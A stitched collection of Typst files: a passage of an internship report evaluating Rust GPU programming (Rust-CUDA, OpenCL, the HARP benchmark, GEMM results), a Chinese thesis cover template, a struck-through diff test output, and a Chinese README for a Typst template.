Furthermore, the current Rust compiler (rustc v1.72.0) cannot produce a valid executable of the above code snippet. The CUDA runtime will throw an error stating that the provided PTX assembly (NVIDIA's proprietary high-level assembly language) is invalid when trying to load it.
There is an open tracking issue for PTX code generation problems @noauthor_nvptx_nodate, but there has not been any contribution since March 2022. Rust's efforts for GPU programming native support seem to be at a stop currently.
We did not retain Rust's native support for GPU programming as a suitable approach, as it is currently unusable. Consequently, we did not conduct any performance evaluation with it.
=== Compute shaders and external libraries
#h(1.8em)
Shading languages are the most popular approach for programming GPUs using the Rust language. Multiple actively maintained crates offer support for writing GPU code through compute shaders using Rust as a wrapper.
#linebreak()
The three most relevant and active libraries are the following:
- `EmbarkStudios/rust-gpu` @noauthor_rust_gpu_2023
- `gfx-rs/wgpu` @noauthor_webgpu_nodate
- `vulkano-rs/vulkano` @noauthor_vulkano_2023
#h(1.8em)
Although compute shaders are a reliable way to program GPUs, they miss the point of leveraging Rust's compiler abilities to prevent a large class of parallelism-related bugs. Indeed, these libraries require the user to write the kernels using shading languages, such as GLSL/WGSL @noauthor_khronosgroupglslang_nodate or SPIR-V @noauthor_spir_2014. Utilizing a foreign language to express GPU computations prevents using Rust's strict type system and unique memory management techniques to assert that the code does not contain any use-after-free, dangling pointers or race condition kinds of bugs.
Moreover, writing scientific computing applications requires a high degree of control, especially regarding memory layout, to best optimize the code for a given target hardware. Most compute shaders lack this ability as they are primarily designed for graphics use cases (e.g., rendering, web interfaces, video games, etc.).
External C and C++ libraries, such as Arrayfire @noauthor_arrayfire_nodate, also provide Rust bindings. Although the GPU code can be entirely written concisely using Rust, these bindings are too high-level for our purpose. In the case of Arrayfire, computations are expressed using an array-based notation. This makes the code much more compact but means we must rely on the library's backend code generation to do all the heavy lifting regarding optimizations.
While compute shaders are the most popular way of programming GPUs in Rust, they do not align with the uncompromising demands of HPC and scientific computing. Consequently, we did not consider benchmarking their performance, deeming them an impractical approach for our purposes.
=== OpenCL
#h(1.8em)
As mentioned in @low_lvl_gpu_prog, OpenCL is a low-level GPU programming model. Two Rust crates provide bindings to the OpenCL 3 API: `cogciprocate/ocl` and `kenba/opencl3`.
Both crates feature APIs that fully leverage Rust's RAII principles and concise error handling using the `?` operator. However, kernels cannot be written directly in Rust. They must be written in OpenCL C (an extension of C99) and loaded at compile-time into the Rust code, either via a macro or by directly pasting the kernel as a string into the Rust program. Similarly to the compute shaders and external libraries presented in the previous section, this prevents the Rust compiler from guaranteeing GPU kernels' type, memory, and thread safety. Although this appears limiting for our purpose, it is easier to integrate Rust code in an existing HPC code base that uses OpenCL as their hardware-accelerator programming language (e.g., for code portability reasons).
#h(-1.8em)
In the rest of this subsection, we will assume the use of the `cogciprocate/ocl` crate @noauthor_ocl_2023.
The `ocl` library provides all the necessary abstractions to call functions from the OpenCL API concisely. It can manage platforms, devices, programs and queues, kernels, memory allocations on the GPU, and data transfers between the host and the device. This can be expressed in highly succinct code, thanks to Rust's elegant syntax for handling errors and automatic resource deallocation.
#v(1em)
#figure(
image("../../figures/3-contributions/opencl-c_vs_rust.svg", width: 96%),
caption: "C vs. Rust comparison of minimal code example for launching a kernel on a GPU."
)<ocl_c_vs_rs>
#v(1em)
#h(1.8em)
@ocl_c_vs_rs demonstrates how much more compact it is to write OpenCL using Rust as a "frontend" rather than C or C++. In this example, the original C code is 165 lines long. Although it correctly handles all possible errors, it only frees the allocated resources at the end of the program, which can lead to memory leaks in case of an early caused by an error. In contrast, the Rust is only 27 lines long. All the error handling and resource deallocation logic is tightly packaged through the use of the `?` operator on each `ocl` function call. If a given call returns an error, the stack is automatically unwinded to free allocated memory before returning the error to the callee. The complete code for both OpenCL versions can be found in the @appendix at @ocl_c and @ocl_rs, respectively.
Since OpenCL already occupies an essential role in hardware-accelerator programming for HPC, owing to its emphasis on fine-grained control and cross-vendor portability, we selected it as a viable option for Rust-based GPU programming. As such, we conducted performance evaluations on OpenCL as part of the later stages of the internship, which we present in a subsequent section of this report.
=== CUDA <cuda>
#h(1.8em)
As introduced in @low_lvl_gpu_prog, CUDA is a low-level, proprietary GPU programming model designed specifically for NVIDIA hardware accelerators. While CUDA is C++-based, most of its internals are language-agnostic and solely work based on PTX (Parallel-Thread eXecution) @noauthor_ptx_nodate and/or cubin (CUDA binary) files. PTX is NVIDIA's proprietary low-level, human-readable ISA (Instruction Set Architecture), and the penultimate state of a kernel's representation before being lowered to SASS (Streaming ASSembler) format and ultimately turned into a cubin file. Consequently, this means that we are not bound to use C++ for writing GPU kernels and that it is possible to utilize Rust instead, as long as we are able to compile it into PTX code.
#pagebreak()
#h(1.8em)
The `Rust-GPU/Rust-CUDA` open-source project @noauthor_rust-gpurust-cuda_nodate tries to do that by offering Rust first-class CUDA programming capabilities instead of C++. It consists of a complete software stack, providing code generation targeting NVIDIA GPUs, management of the CUDA environment, and bindings to most NVIDIA libraries aimed at HPC/AI workloads. Although it is limited to CUDA hardware, the Rust-CUDA project is, at the moment of writing, the most advanced way of natively programming GPUs in Rust.
The `Rust-CUDA` project comprises multiple sub-projects, some of which are independent from the others. In the remainder of this section, we will present the most relevant ones for using Rust-CUDA in an HPC environment.
#h(-1.8em)
*`cust`* acts as the Rust equivalent of the CUDA C++ Runtime library. It provides all the basic tools to manage the environment surrounding GPU code execution, e.g., creating streams, allocating device-side buffers, handling data transfers between CPU and GPU memory, launching kernels, etc. In order to improve control over contexts, modules, streams, and overall performance, `cust` is implemented using bindings to the CUDA Driver API. This actually comes as a requirement, as Rust-CUDA kernels that have been compiled into PTX or cubin/fatbin files must be dynamically loaded as modules at runtime, which are only supported in the Driver API. `cust` can be used independently of the other sub-projects described here and currently is the only library that can launch CUDA kernels from Rust (i.e., it is a required dependency for executing GPU code written using the Rust's compiler native support, as discussed in @native_support). Moreover, `cust` can also be used to launch kernels written in CUDA C++, as long as they are a PTX or cubin/fatbin module that can be loaded at runtime, as described previously.
#h(-1.8em)
*`cuda-std`* is the GPU-side "standard" library for writing Rust-CUDA kernels. It provides all of the usual CUDA functions and primitives (e.g., getting a thread's index, synchronizing threads at the block level, etc.) and also a wide variety of low-level intrinsics for math functions, warp-level manipulations, or address-space casting. `cuda-std` also provides macros for allocating shared memory, which we can extensively use for kernel performance optimizations.
#h(-1.8em)
*`rustc-codegen-nvvm`* is a custom backend for the Rust compiler that produces PTX code and the most crucial component of the Rust-CUDA project for enabling Rust as a first-class CUDA programming language. It leverages NVIDIA's libNVVM to offload the code generation and most of the optimization work. The NVVM IR (Intermediate Representation) is a proprietary compiler internal representation based, at the time of writing, on LLVM 7 IR. The `rustc-codegen-nvvm` module is responsible for generating valid PTX from Rust's inner Mid-level Intermediate Representation (MIR). It first lowers MIR to LLVM 7 IR, then feeds it into libNVVM before getting the final, optimized PTX. @compilation_pipeline showcases the complete compilation process for generating a cubin/fatbin from a Rust-CUDA kernel using `rustc-codegen-nvvm`.
#v(1em)
#figure(
image("../../figures/3-contributions/compilation_pipeline.svg", width: 96%),
caption: "Complete compilation pipeline of a Rust-CUDA kernel"
)<compilation_pipeline>
#pagebreak()
*`ptx-compiler`* is a small tool that allows the compilation of PTX files into cubin or fatbin files. This allows us to avoid JIT compilation of PTX upon loading it as a module when using `cust`.
#h(-1.8em)
*`cuda-builder`* is another small tool that allows us to build our Rust-CUDA kernels into PTX or cubin/fatbin files in `build.rs` scripts, thus helping to automatize the build process GPU code in Rust projects.
Unfortunately, the Rust-CUDA project has not been maintained since the end of 2021. As the Rust compiler is constantly evolving, with new releases every six weeks, the current version (v.1.72.0 at the time of writing) is now incompatible with Rust-CUDA. Likewise, the latest version of CUDA is also incompatible due to breaking changes in the NVVM library used by `rustc-codegen-nvvm`. However, this has been mitigated as part of the internship, as explained in @oss_work.
It is essential to mention that Rust-CUDA is not a project officially endorsed by Rust or NVIDIA. It is purely an open-source piece of work developed by a computer science student who does not have the time nor the will to continue maintaining it. Moreover, from his point of view, this project should be integrated upstream, directly as part of the `rustc` compiler, to really gain traction and benefit from more contributions. Ideally, it could replace the current backend implementation for PTX code generation as it is more complete and should offer better performance, thanks to the use of NVIDIA's proprietary NVVM IR. Some bindings to HPC libraries (cuBLAS, cuSPARSE, cuFFT) are incomplete and could probably be improved by using more idiomatic Rust wrappers.
While Rust-CUDA only aims at GPU programming on NVIDIA hardware, it is the advanced and complete way of writing kernels using native Rust syntax. As a result, we selected it for subsequent benchmarking experiments carried out later in this internship.
== Open-source work on the Rust-CUDA project <oss_work>
#h(1.8em)
To support the latest major release of the NVIDIA CUDA Toolkit (version 12), we had to fix the breaking changes introduced between this version and the last stable version with which Rust-CUDA was compatible, CUDA 11.8. As mentioned in @cuda, the Rust-CUDA project uses a custom compiler backend, `rustc-codegen-nvvm`, which depends on NVIDIA's libNVVM. As part of the CUDA 12 Toolkit update, a new version (v2.0) of the NVVM IR specification @noauthor_nvvm_nodate was released.
#h(-1.8em)
NVVM 2.0 introduced the following breaking changes:
- Removed address space conversion intrinsics.
- Stricter error checking on the supported data layouts.
- Older style loop unroll pragma metadata on loop back edges is no longer supported.
- Shared variable initialization with non-undefined values is no longer supported.
CUDA 12 also adds support for Hopper and Ada Lovelace architecture while dropping support for Kepler and deprecating Maxwell architectures.
We #underline[#link("https://github.com/dssgabriel/Rust-CUDA")[forked Rust-CUDA]] and fixed the breaking changes presented above, as well as updated the minimum architecture requirements for using the project. We also added support for NVIDIA's newest architectures: Hopper (HPC/AI/server-focused) and Ada Lovelace (consumer-targeted). As part of this endeavor, we took the time to enhance some of the project's documentation. We also added improved code examples that leverage more advanced, previously undocumented, features of `cuda-std`. These include using shared memory and tiling programming techniques applied within an optimized General Matrix Multiply (GEMM) kernel.
We are currently working on a draft Pull Request (PR) to merge these changes into the upstream Rust-CUDA to benefit more people and hopefully kickstart a resumption of the project's maintenance.
#pagebreak()
== Hardware-Accelerated Rust Profiling
#h(1.8em)
After establishing an exhaustive state of the art for GPU programming in Rust, we chose the most relevant code generation methods and set out to benchmark their performance. To do this, we implemented an open-source tool that evaluates the performance of GPU-accelerated Rust. HARP (Hardware-Accelerate Rust Profiling) is a CEA project hosted at the #link("https://github.com/cea-hpc/HARP")[CEA-HPC] organization on GitHub.
=== Implementation details
#h(1.8em)
HARP is a simple profiler for evaluating the performance of hardware-accelerated Rust code. It aims at gauging the capabilities of Rust as a first-class language for GPGPU programming, especially in the field of scientific computing.
#h(-1.8em)
HARP can benchmark and profile the following set of kernels:
- AXPY (general vector-vector addition), of complexity $cal(O)(n)$
$ y = alpha x + y $
- GEMM (general dense matrix-matrix multiplication), of complexity $cal(O)(n^3)$
$ C = alpha A B + beta C $
- Reduction (sum reduction), of complexity $cal(O)(log n)$ in parallel, $cal(O)(n)$ otherwise
$ r = sum_(i=0)^n x_i $
- Prefix Sum (sum exclusive scan), of complexity $cal(O)(log n)$ if the processor (CPU or GPU) has at least $n$ cores, $cal(O)(n log n)$ otherwise
$ forall x_i in x, x_i = sum_(j=0)^(i-1) x_j $
#v(1em)
#h(1.8em)
Please note that the Rust-CUDA implementation of the scan kernel currently does not work for unknown reasons. It appears to be caused by a memory issue (segmentation fault), but the identical CUDA C++ code works flawlessly. We suppose it is caused by a problem during the Rust-CUDA code generation step, maybe ABI-related, but we could not find a fix at the time of writing.
The AXPY and GEMM kernels were chosen because they are part of the traditional Basic Linear Algebra Software (BLAS) @noauthor_blas_nodate routines. Measuring the performance of BLAS kernels is crucial in HPC applications as it enables the optimization of fundamental mathematical operations, which are prevalent in scientific computing workloads. BLAS performance benchmarking helps identify bottlenecks, improve computational efficiency, and optimize hardware utilization, particularly on specialized architectures such as GPUs and multi-core CPUs. Ultimately, they aid in algorithm selection, benchmarking HPC systems, assessing scalability, and achieving energy-efficient computations. We have paid the utmost attention to optimizing the GPU-based GEMM kernels, using a myriad of advanced optimization techniques, such as shared memory, tiling, and instruction-level parallelism, based on the ClBlast OpenCL BLAS library @nugteren_clblast_2023.
#linebreak()
The reduction and scan kernels are fundamental building blocks for all sorts of algorithms and were needed to implement the RCB algorithm presented in @rcb. We took this opportunity to include them in the set of benchmarks provided by HARP. Similarly to what we have done for the BLAS kernels, we took care of optimizing their implementation using state-of-the-art GPGPU programming techniques @noauthor_chapter_nodate @noauthor_faster_nodate @harris_optimizing_nodate.
#h(-1.8em)
Each of the kernels is available in several implementations:
- CPU: sequential naive (using C-style `for` loops), sequential idiomatic (using iterators constructs), and parallel (using the `rayon` crate);
- OpenCL;
- CUDA, using either Rust-CUDA or CUDA C++ code.
#h(1.8em)
The CPU versions of the kernels serve as a baseline to compare the speedup GPUs offer. The GPU implementations of the GEMM kernel are available in two flavors: a naive version and an optimized one that leverages shared memory with SIMD memory loads and stores, as well as tiling techniques to use the underlying hardware architecture more efficiently.
Profiling can be done on both single-precision and double-precision floating-point formats (following IEEE 754 norm @8766229). Currently, both the reduction and scan kernels only support 32-bit signed integers. This is due to time constraints that prevented the implementation of generic versions for floating-point arithmetic, which is more intricate to set up when using advanced warp-level intrinsic. The algorithmic results are validated with an accuracy requirement: a tolerance of $10^(-15)$ for double-precision implementations and $10^(-6)$ for single-precision counterparts.
The user must specify a kernel to benchmark and a set of dimensions on which to run the measurements (vector length for AXPY, reduction and scan, matrix size for GEMM). HARP then automatically performs all the benchmarking runs and generates a CSV file containing a report of the aggregated statistics for the kernel. A report includes the following information for each dimension specified in the HARP benchmark configuration:
- The target kind (either host or device);
- The implementation variant of the kernel;
- The number of elements per dimension;
- The allocates memory size in bytes;
- The total number of FP operations.
It also includes the following metrics about the kernel:
- The minimum and maximum recorded execution time;
- The median and mean (average) recorded execution time;
- The runtime standard deviation;
- The arithmetic intensity (in FLOP/Byte);
- The memory bandwidth (in GiB/s);
- The computational performance (in GFLOP/s).
#h(1.8em)
HARP also provides a Python script that produces graphs from the performance reports using pandas and plotly libraries. It takes the CSV output from HARP and can be configured to output PNG images of the generated plots.
=== Benchmark methodology
#h(1.8em)
In order to assert the stability and correctness of the measures, we developed a systematic approach to benchmarking the kernel implementations. @harp_algo gives a high-level overview of the algorithmic methodology used to measure the performance of Rust kernels.
The input dataset is randomly initialized for each specified dimension and remains invariant for all of the benchmark runs for that specific dimension. This guarantees that we do not fall into edge cases where the compiler or the CPU/GPU microarchitecture can aggressively optimize some computations (e.g., when doing operations with 1s or 0s). It also ensures that all implementations and their respective variants are compared using a consistent dataset.
The `MIN_REP_COUNT` constant allows us to repeat the measurements as many times as necessary to compute meaningful statistics about the kernel's performance. The default value is set to 31 (the same value used by the MAQAO HPC profiler @noauthor_maqao_nodate).
The `MIN_EXEC_TIME` constant serves a tight loop that ensures that the kernels run for a long enough period of time. This value depends on the clock's precision used to benchmark the kernels.
#figure(caption: "Pseudo-code of the algorithm used to benchmark kernels in HARP")[
```
PROGRAM harp_benchmark
──────────────────────────────────────────────────────────────────────────────────
INPUTS:
kernel: A kernel to benchmark
implementations: A list of implementations to compare
variants: A list of variants for each implementation
datatype: The datatype to use
dimensions: A list of dimensions for generating the datasets
rng_seed: A seed for a randomized dataset generation
──────────────────────────────────────────────────────────────────────────────────
OUTPUT:
A list of statistics for each dimension/implementation/variant combination
of the benchmarked kernel
──────────────────────────────────────────────────────────────────────────────────
CONSTANTS:
MIN_EXEC_TIME: Minimum execution time to validate a kernel execution
MIN_REP_COUNT: Minimum number of benchmarks to perform for a given
dimension/implementation/variant combination
──────────────────────────────────────────────────────────────────────────────────
VARIABLES:
dataset: A list of randomly generated values for each dimension
samples: A list of execution times for each
dimension/implementation/variant combination
exec_time: Execution time of a given kernel
dimension/implementation/variant combination
──────────────────────────────────────────────────────────────────────────────────
PROCEDURE:
FOR EACH dim IN dimensions
dataset <- generate_dataset(datatype, dim, rng_seed)
FOR EACH impl IN implementations
FOR EACH var IN variants
FOR EACH i IN [0, MIN_REP_COUNT]
WHILE exec_time < MIN_EXEC_TIME
exec_time <- chrono(kernel(impl, var, dataset))
END WHILE
samples[dim, impl, var, i] <- exec_time
END FOR EACH
END FOR EACH
END FOR EACH
END FOR EACH
RETURN compute_statistics(samples)
```
]<harp_algo>
=== Results analysis
#h(1.8em)
This subsection will present the results obtained from HARP and separate measurements designed to specifically compare GPU programming in Rust against other hardware-accelerator paradigms or libraries in the field of HPC.
#linebreak()
All performance results presented hereafter were done on a workstation with the following characteristics:
- *CPU:* Intel (Alder Lake) i5-12600H, 12 cores (4 hyper-threaded P-cores, 8 E-cores) \@ 4.5 GHz, 32 GB DDR5 RAM.
- *GPU:* NVIDIA T600 (Turing), 640 CUDA cores, 4 GB GDDR6 VRAM, 160 GB/s memory bandwith, 1.7 TFLOP/s computational performance in FP32.
- *Software stack:* NVIDIA GPU Driver v535.86.10, NVIDIA CUDA Toolkit Version 12.2, NVIDIA OpenCL SDK Version 12.2, NVIDIA HPC SDK Version 23.7.
- *Compilers*: `gcc` v11.4 and v13.1, `rustc` v1.59.0 and v1.72.0, `nvcc` v12.2.
#h(1.8em)
In this subsection, we will focus on presenting results for the DGEMM kernel, which is the most relevant one in the context of HPC. In @anx_figs, we include the full plot outputs for all kernels available in HARP.
#figure(
image("../../figures/3-contributions/dgemm_avg_runtime.png", width: 78%),
caption: "Average runtime performance for the DGEMM kernel"
)<dgemm_avg_rtm>
#h(1.8em)
@dgemm_avg_rtm compares the average runtime of multiple Rust implementations of the DGEMM kernel (CPU and GPU) for increasing sizes of FP64 precision dense matrices. The graph includes error bars for each measurement obtained following the algorithm described in @harp_algo. This graph clearly shows the performance dominance of hardware accelerators over traditional CPUs. Both sequential implementations (naive uses C-style `for` loops, the other uses Rust's iterator constructs) are at least twice as slow as the fastest GPU version on matrices that are twice as small. Both CUDA-based DGEMMs significantly outshine the OpenCL implementations.
@dgemm_flops presents the computational performance for each kernel implementation using the same results as @dgemm_avg_rtm. We can interpret this graph as the opposite of the previous one, with higher FLOP/s indicating increased performance. This plot gives a better visualization of the performance difference between implementations, with CUDA-based ones clearly ahead of OpenCL, with over 2x better performance. We can also notice that the GPU kernels are compute-bound; their performance continually increases until it reaches a plateau and stays constant regardless of the size of the matrix. On the other hand, the results of CPU implementations decrease as the matrixes get bigger, highlighting the fact that these kernels are memory-bound.
#figure(
image("../../figures/3-contributions/dgemm_flops.png", width: 78%),
caption: "Computational performance for the DGEMM kernel"
)<dgemm_flops>
#grid(
rows: 2,
row-gutter: 10pt
)[
#figure(
image("../../figures/3-contributions/dgemm_perf_comp.svg", width: 80%),
caption: "Performance comparison between DGEMM kernels on different CUDA-based implementations",
)<dgemm>
#figure(
image("../../figures/3-contributions/sgemm_perf_comp.svg", width: 80%),
caption: "Performance comparison between DGEMM kernels on different CUDA-based implementations"
)<sgemm>
]
#h(1.8em)
@dgemm and @sgemm compare the computational performance of Rust-CUDA, CUDA C++ and cuBLAS implementations of the GEMM kernel in both single and double FP precision on an NVIDIA T600 GPU. The results presented are for matrices of size 2048, initialized with random values between 0 and 1 and non-null and non-one values for the $alpha$ and $beta$ coefficients. The same benchmarking methodology used in HARP has been applied here, and the standard deviation of these results is under 5%.
In double-precision floating-point, Rust-CUDA kernels performed slightly better than the CUDA C++ implementation (a 1:1 equivalent). Both of these manual implementations are behind the NVIDIA cuBLAS one by about 10%, which is a relatively small performance drop considering how highly optimized NVIDIA's libraries are. As both the Rust-CUDA and CUDA C++ kernels share the same code generation pipeline (NVVM IR $arrow$ PTX, see @compilation_pipeline), @dgemm demonstrates that the Rust compiler front-end can match, and even slightly edge, the C++ one in terms of optimizations made at the IR level.
@sgemm highlights this even better, with the Rust-CUDA implementation achieving a massive 75% performance improvement over the CUDA C++ SGEMM kernel. However, this result seems overly pessimistic of the FLOP/s we expect from a CUDA C++ implementation. Historically, C and C++ compilers used to convert every floating-point operation to double precision, even if only single precision was required. Some of the arithmetic operations in the CUDA C++ implementation of the SGEMM kernel may be performed in FP64, which would explain the reduced performance. At the time of writing, we could not assert that this is what is actually happening. We are investigating at the binary level by analyzing the generated assembly (PTX and SASS) to confirm it.
On the other hand, @sgemm shows that the cuBLAS implementation is largely out of reach when dealing with single-precision floating-point arithmetic. This is explained by the cuBLAS implementation using the GPU's hardware more efficiently than our hand-written kernels, notably through extensive reliance on tensor cores. These specialized cores are dedicated to accelerating matrix operations using a non-IEEE754 format (TensorFloat32, or TF32), which only uses 10 bits for the mantissa and is optimized to provide up to 8x speedups over standard FP32 precision. Although this affected the result slightly, it still achieved the $10^(-6)$ required accuracy to validate the benchmark. This matches the performance increase over our CUDA C++ implementation, which is roughly seven times slower than the cuBLAS one.
We also had the opportunity to compare Rust-CUDA and Kokkos (C++) GEMM kernels and obtained comparable performance between implementations.
== Porting partitioning algorithms from a CEA application
#h(1.8em)
The final stage of the internship involves porting parts of a real-world application to the GPU using Rust. This last step aims to push the boundaries of Rust GPGPU programming capabilities and explore the limits of the compiler's help in writing thread-safe kernels. Porting is done using the Rust-CUDA project, targeting NVIDIA GPUs.
=== `coupe`, a concurrent mesh partitioner
#h(1.8em)
The application we chose to port is `coupe` @noauthor_coupe_2023, a modular, multi-threaded library for mesh partitioning written in Rust. It is developed at the CEA/DAM by the joint CEA --- Paris-Saclay University LIHPC laboratory. Coupe implements multiple algorithms aimed at achieving optimal load balancing while minimizing communication costs through the use of geometric methods.
#linebreak()
Hereafter, we list some of the partitioning algorithms available in the tool, some of which offer optimized variants for cartesian meshes:
- Space-filling curves: Z-curve, Hilbert curve
- Recursive Coordinate Bisection (RCB) and Recursive Inertial Bisection (RIB)
- Multi-jagged
- Karmarkar-Karp
- K-means
=== Recursive Coordinate Bisection (RCB) <rcb>
#h(1.8em)
The algorithm we have chosen to port is the Recursive Coordinate Bisection (RCB) @berger_partitioning_1987 @bramas_novel_2017, one of the simplest geometric algorithms.
#h(1.8em)
Given an N-dimensional set of points, select a vector $n$ of the canonical basis $(e_0, ..., e_(n-1))$. Split the set of points with a hyperplane orthogonal to $n$, such that the two parts of the splits are evenly weighted. Recurse as many times as necessary by reapplying the algorithm to the two parts with another normal vector in each.
#figure(
image("../../figures/3-contributions/rcb.svg", width: 70%),
caption: "3-step RCB algorithm visualized on a random set of points"
)<rcb_viz>
@rcb_viz showcases the partitioning of a set of points following the RCB algorithm. We have chosen it because of its straightforward approach and recursive nature, making it ideal for GPU use.
=== Observations
#h(1.8em)
In practice, trying to port the RCB algorithm was exceedingly difficult. Indeed, most of it relies on a sequence of fundamental algorithms, such as reductions or prefix sums (exclusive scan). Because Rust-CUDA does not have access to library bindings that provide those primitive GPU building blocks, this implied that we had to rewrite everything ourselves. This endeavor proved very time-consuming and challenging to do efficiently by hand. We encountered multiple issues with kernel code generation producing invalid PTX, which meant we had to switch to CUDA C++ implementations instead of Rust-CUDA ones.
In summary, the Rust-CUDA project serves as a robust foundation for crafting "basic" GPU code using Rust. However, it is not currently equipped to handle more complex hardware-accelerated programming tasks, as it lacks many useful abstractions and bindings to libraries that hasten the development of optimized GPU kernels for scientific computing applications.
#linebreak()
We were not able to achieve a working Rust-CUDA port of the RCB algorithm at the time of writing. However, we are investigating a different approach that should simplify the GPU implementation while also better exploiting the architecture of the hardware accelerator. This work will be our main focus for the remainder of the internship.
|
https://github.com/giZoes/justsit-thesis-typst-template | https://raw.githubusercontent.com/giZoes/justsit-thesis-typst-template/main/resources/pages/bachelor-cover.typ | typst | MIT License | #import "../utils/datetime-display.typ": datetime-cn-display
#import "../utils/style.typ": 字号, 字体
// 本科生封面
#let bachelor-cover(
// documentclass 传入的参数
anonymous: false,
twoside: false,
fonts: (:),
info: (:),
// 其他参数
stoke-width: 0.5pt,
min-title-lines: 1,
info-inset: (x: 0pt, bottom: 1pt),
info-key-width: 72pt,
info-key-font: "黑体",
info-value-font: "黑体",
column-gutter: -3pt,
row-gutter: 11.5pt,
anonymous-info-keys: ("grade", "student-id", "author", "supervisor", "supervisor-ii"),
bold-info-keys: ("title",),
bold-level: "regular",
datetime-cn-display: datetime-cn-display,
) = {
// 1. 默认参数
fonts = 字体 + fonts
info = (
title: "基于 Typst 的学位论文",
grade: "20XX",
student-id: "218111545233",
author: "张三",
department: "某学院",
major: "某专业",
supervisor: ("李四", "教授"),
submit-date: datetime.today(),
) + info
// 2. 对参数进行处理
// 2.1 如果是字符串，则使用换行符将标题分隔为列表
// if type(info.title) == str {
// info.title = info.title.split("\n")
// }
// // 2.2 根据 min-title-lines 填充标题
// info.title = info.title + range(min-title-lines - info.title.len()).map((it) => " ")
// 2.3 处理提交日期
if type(info.submit-date) == datetime {
info.submit-date = datetime-cn-display(info.submit-date)
}
// 3. 内置辅助函数
let info-key(body) = {
rect(
width: 100%,
inset: info-inset,
stroke: none,
text(
font: fonts.at(info-key-font, default: "楷体"),
size: 字号.四号,
body
),
)
}
let info-value1(key, body) = {
set align(center)
rect(
width: 100%,
inset: info-inset,
stroke: none,
text(
font: fonts.at("宋体"),
size: 字号.四号,
weight: if (key in bold-info-keys) { bold-level } else { "regular" },
bottom-edge: "descender",
body,
),
)
}
let info-value(key, body) = {
set align(center)
rect(
width: 100%,
inset: info-inset,
stroke: (bottom: stoke-width + black),
text(
font: fonts.at(info-value-font, default: "宋体"),
size: 字号.四号,
weight: if (key in bold-info-keys) { bold-level } else { "regular" },
bottom-edge: "descender",
body,
),
)
}
let info-long-value(key, body) = {
grid.cell(colspan: 3,
info-value(
key,
if anonymous and (key in anonymous-info-keys) {
"██████████"
} else {
body
}
)
)
}
let info-short-value(key, body) = {
info-value(
key,
if anonymous and (key in anonymous-info-keys) {
"█████"
} else {
body
}
)
}
// 4. 正式渲染
pagebreak(weak: true, to: if twoside { "odd" })
// 居中对齐
set align(center)
// 匿名化处理去掉封面标识
if anonymous {
v(7.5cm)
} else {
// 封面图标
v(3cm)
// 调整一下左边的间距
text(size: 字号.小一, font: fonts.仿宋, spacing: 180%, weight: "bold")[江 苏 科 技 大 学 苏 州 理 工 学 院]
v(3cm)
}
// 将中文之间的空格间隙从 0.25 em 调整到 0.5 em
text(size: 字号.小初, font: fonts.宋体, spacing: 180%, weight: "bold")[本 科 毕 业 设 计（论文）]
if anonymous {
v(4cm)
} else {
v(4cm)
}
block(width: 9.5cm, grid(
columns: (info-key-width, 1fr, info-key-width, 1fr),
column-gutter: column-gutter,
row-gutter: row-gutter,
info-key("学 院"),
info-long-value("department", info.department),
info-key("专 业"),
info-long-value("major", info.major),
info-key("学生姓名"),
info-long-value("author", info.author),
info-key("班级学号"),
info-long-value("student-id", info.student-id),
info-key("指导教师"),
info-long-value("supervisor", info.supervisor.at(0)),
))
v(2.5cm)
info-value1("submit-date",info.submit-date)
} |
https://github.com/goshakowska/Typstdiff | https://raw.githubusercontent.com/goshakowska/Typstdiff/main/tests/test_complex/para/para_deleted_result.typ | typst | In this report, we will explore the various factors that
influence#strike[ ];#strike[#emph[fluid dynamics];];#strike[
];#strike[in];#strike[ ];#strike[glaciers];#strike[ ];#strike[ha];#strike[
];#strike[they];#strike[ ];#strike[contribute];#strike[
];#strike[to];#strike[ ];#strike[the];#strike[
];#strike[formation];#strike[ ];#strike[and];#strike[
];#strike[behaviour];#strike[ ];#strike[of];#strike[
];#strike[these];#strike[ ];#strike[natural] structures.
#strike[All];#strike[ ];#strike[manuscripts];#strike[
];#strike[are];#strike[ ];#strike[to];#strike[ ];#strike[be];#strike[
];#strike[submitted];#strike[ ];#strike[electronically];#strike[
];#strike[to];#strike[ ];#strike[the];#strike[
];#strike[ScholarOne];#strike[ ];#strike[Abstracts];#strike[
];#strike[site];#strike[ ];#strike[created];#strike[
];#strike[for];#strike[ ];#strike[each];#strike[
];#strike[conference.];#strike[ ];#strike[The];#strike[
];#strike[manuscript];#strike[ ];#strike[upload];#strike[
];#strike[will];#strike[ ];#strike[be];#strike[
];#strike[enabled];#strike[ ];#strike[several];#strike[
];#strike[weeks];#strike[ ];#strike[after];#strike[
];#strike[acceptance];#strike[ ];#strike[notices];#strike[
];#strike[have];#strike[ ];#strike[been];#strike[
];#strike[sent.];#strike[ ];#strike[Presenting];#strike[
];#strike[authors];#strike[ ];#strike[of];#strike[
];#strike[accepted];#strike[ ];#strike[papers];#strike[
];#strike[will];#strike[ ];#strike[receive];#strike[
];#strike[an];#strike[ ];#strike[email];#strike[ ];#strike[with];#strike[
];#strike[instructions];#strike[ ];#strike[when];#strike[
];#strike[manuscript];#strike[ ];#strike[submission];#strike[
];#strike[opens.];#strike[ ];#strike[It];#strike[ ];#strike[is];#strike[
];#strike[important];#strike[ ];#strike[that];#strike[
];#strike[presenting];#strike[ ];#strike[authors];#strike[
];#strike[keep];#strike[ ];#strike[their];#strike[
];#strike[email];#strike[ ];#strike[addresses];#strike[
];#strike[up-to-date];#strike[ ];#strike[so];#strike[
];#strike[they];#strike[ ];#strike[do];#strike[ ];#strike[not];#strike[
];#strike[miss];#strike[ ];#strike[this];#strike[ ];#strike[notice.]
It is the responsibility of the author to obtain any required government
or company reviews for their papers in advance of publication. Start
early to determine if the reviews are required; this process can take
several weeks.
|
|
https://github.com/trace1729/typst-template | https://raw.githubusercontent.com/trace1729/typst-template/main/README.md | markdown | # Typst 模板
> 参考 [simple-paper](https://github.com/jinhao-huang/SimplePaper.git)
`./template.typ` 为模板文件, 如果要使用模板，请在文档最上方加入:
```typst
#import "template.typ": *
#show: project.with(
title: "TITLE",
authors: (
(
name: "Wonderland",
email: "<EMAIL>"
),
),
)
```
## 字体
- 正文部分，英文字体设置的是 「New Computer Modern」
- 代码字体设置的是「JetBrainsMono NF」
- 可以使用 `typst fonts| grep <>` 来查看字体是否可用, 如果不可用，可以在 `templated.typ` 中替换为系统可用的字体。
更详细的配置请移步 `template.typ`
## 显示效果
`main.typ` 的导出效果
## 导出
- `typst c <file>`
- 使用 vscode 的 typst 插件导出
## 教程推荐
- [官方教程](https://typst.app/docs/tutorial/)
- [数学符号一览](https://typst.app/docs/reference/symbols/sym/)
